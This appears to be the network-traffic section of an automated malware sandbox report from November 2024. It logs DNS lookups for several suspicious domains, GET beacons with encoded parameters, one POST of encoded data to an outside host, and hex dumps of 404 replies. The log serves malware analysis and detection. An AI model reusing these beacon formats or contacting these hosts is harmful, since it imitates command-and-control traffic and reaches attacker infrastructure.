                Source: global trafficHTTP traffic detected: GET /t322/?cBL4=dBU4KtqPg&XHa8pH8=FCfXCbowRdQKA3bJwmXvc8lOOpkaFxffvgnpa1jm1l5RPo8GmzCZxrunal2GKioIIi33qnUs85PYplnvRA3XR69fnaXkcIGP7N+ZF5LcImJ8BAL5CR7GLvE= HTTP/1.1Accept: */*Accept-Language: en-USConnection: closeHost: www.yunlekeji.topUser-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
                Source: global trafficHTTP traffic detected: GET /iuvu/?XHa8pH8=4GSi4NjhieA+eby3OKR9UHmAChFha0TZNopVgGr+MixqN2kv+x7vZ9YkKN38Qwr7I1LnRiqAhNhB07BIn5yneyjQ3W+H8Nz5kvkADuxuBf3arJIsYCs9inQ=&cBL4=dBU4KtqPg HTTP/1.1Accept: */*Accept-Language: en-USConnection: closeHost: www.logidant.xyzUser-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
                Source: global trafficHTTP traffic detected: GET /36be/?XHa8pH8=zT+fCPSXWqCfWPgPkoP8augIhoSODsGx9/DVuG0pIlquWt59hgdSk8Rx6eVvndf2YPyLwPhL3z2g/EyQU+U7rERMucz0ZFCszNnC27qzdt1he7kDJbjieX8=&cBL4=dBU4KtqPg HTTP/1.1Accept: */*Accept-Language: en-USConnection: closeHost: www.laohub10.netUser-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
                Source: global trafficHTTP traffic detected: GET /kf1m/?XHa8pH8=gD/FPiA75bYZCbZAYB/YrW9xurwFI/r4HqBHW8I3+Q/3qqcwdH4XqO3fnm/yt4rkfBlpHF229jnZH/lk0nBoXIiiXeZyn2c+rOjHayKJI+/jeoNtslqItL4=&cBL4=dBU4KtqPg HTTP/1.1Accept: */*Accept-Language: en-USConnection: closeHost: www.zkdamdjj.shopUser-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
                Source: global trafficHTTP traffic detected: GET /k1td/?XHa8pH8=oEMxw+ab8QlEZmTlDbCKptskN0q9+wMHQHNpbkBMxCjDr7HlodnZgfFsQKGKkvz/XYzpvPMYep3+sZsYYHcCTBaIFjRaD0WqdXDHZ0BQI5kG8sOnP1u2RJI=&cBL4=dBU4KtqPg HTTP/1.1Accept: */*Accept-Language: en-USConnection: closeHost: www.tals.xyzUser-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
                Source: global trafficDNS traffic detected: DNS query: www.izmirescortg.xyz
                Source: global trafficDNS traffic detected: DNS query: www.aballanet.cat
                Source: global trafficDNS traffic detected: DNS query: www.madhf.tech
                Source: global trafficDNS traffic detected: DNS query: www.canadavinreport.site
                Source: global trafficDNS traffic detected: DNS query: www.yunlekeji.top
                Source: global trafficDNS traffic detected: DNS query: www.logidant.xyz
                Source: global trafficDNS traffic detected: DNS query: www.laohub10.net
                Source: global trafficDNS traffic detected: DNS query: www.zkdamdjj.shop
                Source: global trafficDNS traffic detected: DNS query: www.tals.xyz
                Source: global trafficDNS traffic detected: DNS query: www.brightvision.website
                Source: unknownHTTP traffic detected: POST /6xrr/ HTTP/1.1Accept: */*Accept-Language: en-USAccept-Encoding: gzip, deflate, brContent-Length: 204Connection: closeContent-Type: application/x-www-form-urlencodedCache-Control: max-age=0Host: www.aballanet.catOrigin: http://www.aballanet.catReferer: http://www.aballanet.cat/6xrr/User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36Data Raw: 58 48 61 38 70 48 38 3d 4b 7a 68 67 58 51 68 42 2f 49 47 6c 34 6c 45 42 70 41 51 43 7a 4d 39 54 61 38 62 70 39 76 31 41 32 58 50 77 33 38 6e 73 4f 45 64 35 44 34 44 63 63 41 54 62 45 6d 53 62 4b 45 6e 72 45 32 49 4e 39 36 43 68 55 58 49 4f 41 62 51 74 47 71 46 46 61 75 65 52 65 4c 36 70 34 52 6f 57 6a 4a 5a 35 39 34 58 70 33 4c 2f 41 2f 32 70 37 39 4d 34 2f 54 5a 6f 50 64 7a 6c 43 57 76 71 37 6a 59 2f 41 36 76 70 31 4b 59 5a 56 36 67 4d 52 69 67 6a 5a 50 48 43 4d 61 30 52 72 76 39 2b 68 6d 5a 4d 52 34 43 58 30 62 58 4b 50 4f 51 69 4f 76 45 2f 2b 63 7a 65 52 43 44 6b 78 67 45 41 73 51 41 36 75 68 41 3d 3d Data Ascii: XHa8pH8=KzhgXQhB/IGl4lEBpAQCzM9Ta8bp9v1A2XPw38nsOEd5D4DccATbEmSbKEnrE2IN96ChUXIOAbQtGqFFaueReL6p4RoWjJZ594Xp3L/A/2p79M4/TZoPdzlCWvq7jY/A6vp1KYZV6gMRigjZPHCMa0Rrv9+hmZMR4CX0bXKPOQiOvE/+czeRCDkxgEAsQA6uhA==
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 29 Nov 2024 14:11:52 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: closeCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RYk%2FEjUK8iRIBLcebFWnfRO6%2BHExwmCKD0THlLGIOD13O2VRzmjLLLohoV%2B0Pf55Q1jevxywXOghxK5mSAc675edZwTsvuDzOVv6rjQOuK99LYrilTn%2B%2F92j6fmpfxoNK%2FPVHYUcjw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8ea3307b091c8c15-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2011&min_rtt=2011&rtt_var=1005&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=367&delivery_rate=0&cwnd=236&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 31 33 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 13b<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>0
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 29 Nov 2024 14:12:09 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://aballanet.cat/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8Data Raw: 31 34 62 64 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 61 22 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 3e 0d 0a 20 20 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 50 c3 a0 67 69 6e 61 20 6e 6f 20 74 72 6f 62 61 64 61 20 2d 20 41 6c 62 65 72 74 20 41 62 61 6c 6c 61 6e 65 74 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 41 6c 62 65 72 74 20 41 62 61 6c 6c 61 6e 65 74 2c 20 41 72 71 75 69 74 65 63 74 6f 20 44 6f 63 74 6f 72 20 55 50 43 2c 20 74 72 61 79 65 63 74 6f 72 69 61 2c 20 74 65 73 69 73 20 64 65 20 65 73 74 75 64 69 6f 2c 20 70 75 62 6c 69 63 61 63 69 6f 6e 65 73 20 64 65 20 41 6c 62 65 72 74 20 41 62 61 6c 6c 61 6e 65 74 2c 20 4c 61 20 63 61 73 61 20 61 20 63 75 61 74 72 6f 20 76 69 65 6e 74 6f 73 20 65 6e 20 6c 61 20 42 6f 6e 61 6e 6f 76 61 22 3e 0d 0a 0d 0a 20 20 20 20 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2d 61 6e 61 6c 79 74 69 63 73 2e 63 6f 6d 22 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 61 62 61 6c 6c 61 6e 65 74 2e 63 61 74 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 72 77 64 2d 74 68 65 6d 65 2f 69 6d 67 2f 69 63 6f 6e 73 2f 74 6f 75 63 68 2e 70 6e 67 22 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 2d 70 72 65 63 6f 6d 70 6f 73 65 64 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 41 6c 62 65 72 74 20 41 62 61 6c 6c 61 6e 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 62 61 6c 6c 61 6e 65 74 2e 63 61 74 2f 66 65 65 64 2f 22 20 2f 3e 0d 0a 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 41 72 71 75 69 74 65 63 74 65 20 44 6f 63 74 6
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 29 Nov 2024 14:12:12 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://aballanet.cat/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8Data Raw: 31 34 62 64 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 61 22 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 3e 0d 0a 20 20 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 50 c3 a0 67 69 6e 61 20 6e 6f 20 74 72 6f 62 61 64 61 20 2d 20 41 6c 62 65 72 74 20 41 62 61 6c 6c 61 6e 65 74 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 41 6c 62 65 72 74 20 41 62 61 6c 6c 61 6e 65 74 2c 20 41 72 71 75 69 74 65 63 74 6f 20 44 6f 63 74 6f 72 20 55 50 43 2c 20 74 72 61 79 65 63 74 6f 72 69 61 2c 20 74 65 73 69 73 20 64 65 20 65 73 74 75 64 69 6f 2c 20 70 75 62 6c 69 63 61 63 69 6f 6e 65 73 20 64 65 20 41 6c 62 65 72 74 20 41 62 61 6c 6c 61 6e 65 74 2c 20 4c 61 20 63 61 73 61 20 61 20 63 75 61 74 72 6f 20 76 69 65 6e 74 6f 73 20 65 6e 20 6c 61 20 42 6f 6e 61 6e 6f 76 61 22 3e 0d 0a 0d 0a 20 20 20 20 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2d 61 6e 61 6c 79 74 69 63 73 2e 63 6f 6d 22 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 61 62 61 6c 6c 61 6e 65 74 2e 63 61 74 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 72 77 64 2d 74 68 65 6d 65 2f 69 6d 67 2f 69 63 6f 6e 73 2f 74 6f 75 63 68 2e 70 6e 67 22 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 2d 70 72 65 63 6f 6d 70 6f 73 65 64 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 41 6c 62 65 72 74 20 41 62 61 6c 6c 61 6e 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 62 61 6c 6c 61 6e 65 74 2e 63 61 74 2f 66 65 65 64 2f 22 20 2f 3e 0d 0a 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 41 72 71 75 69 74 65 63 74 65 20 44 6f 63 74 6
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 29 Nov 2024 14:12:15 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://aballanet.cat/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8Data Raw: 31 34 62 64 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 61 22 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 3e 0d 0a 20 20 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 50 c3 a0 67 69 6e 61 20 6e 6f 20 74 72 6f 62 61 64 61 20 2d 20 41 6c 62 65 72 74 20 41 62 61 6c 6c 61 6e 65 74 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 41 6c 62 65 72 74 20 41 62 61 6c 6c 61 6e 65 74 2c 20 41 72 71 75 69 74 65 63 74 6f 20 44 6f 63 74 6f 72 20 55 50 43 2c 20 74 72 61 79 65 63 74 6f 72 69 61 2c 20 74 65 73 69 73 20 64 65 20 65 73 74 75 64 69 6f 2c 20 70 75 62 6c 69 63 61 63 69 6f 6e 65 73 20 64 65 20 41 6c 62 65 72 74 20 41 62 61 6c 6c 61 6e 65 74 2c 20 4c 61 20 63 61 73 61 20 61 20 63 75 61 74 72 6f 20 76 69 65 6e 74 6f 73 20 65 6e 20 6c 61 20 42 6f 6e 61 6e 6f 76 61 22 3e 0d 0a 0d 0a 20 20 20 20 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2d 61 6e 61 6c 79 74 69 63 73 2e 63 6f 6d 22 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 61 62 61 6c 6c 61 6e 65 74 2e 63 61 74 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 72 77 64 2d 74 68 65 6d 65 2f 69 6d 67 2f 69 63 6f 6e 73 2f 74 6f 75 63 68 2e 70 6e 67 22 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 2d 70 72 65 63 6f 6d 70 6f 73 65 64 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 41 6c 62 65 72 74 20 41 62 61 6c 6c 61 6e 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 62 61 6c 6c 61 6e 65 74 2e 63 61 74 2f 66 65 65 64 2f 22 20 2f 3e 0d 0a 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 41 72 71 75 69 74 65 63 74 65 20 44 6f 63 74 6
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 29 Nov 2024 14:13:09 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingData Raw: 31 39 66 32 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e e7 b3 bb e7 bb 9f e5 8f 91 e7 94 9f e9 94 99 e8 af af 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2f 2a 20 42 61 73 65 20 2a 2f 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 33 33 33 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 3a 20 31 36 70 78 20 56 65 72 64 61 6e 61 2c 20 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 20 68 65 6c 76 65 74 69 63 61 2c 20 41 72 69 61 6c 2c 20 27 4d 69 63 72 6f 73 6f 66 74 20 59 61 48 65 69 27 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 32 30 70 78 20 32 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 68 31 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 31 30 70 78 20 30 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 38 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 35 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 33 32 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 68 32 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 34 32 38 38 63 65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 36 70 78 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 36 70 78 20 30 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 38 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 65 65 65 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 68 33 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 31 32 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 36 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 61 62 62 72 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 75 72 73 6f 72 3a 20 68 65 6c 70 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 75 6e 64 65 72 6c 69 6e 65 3b 0a 20 20 20 20
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 29 Nov 2024 14:13:17 GMTContent-Type: text/htmlContent-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
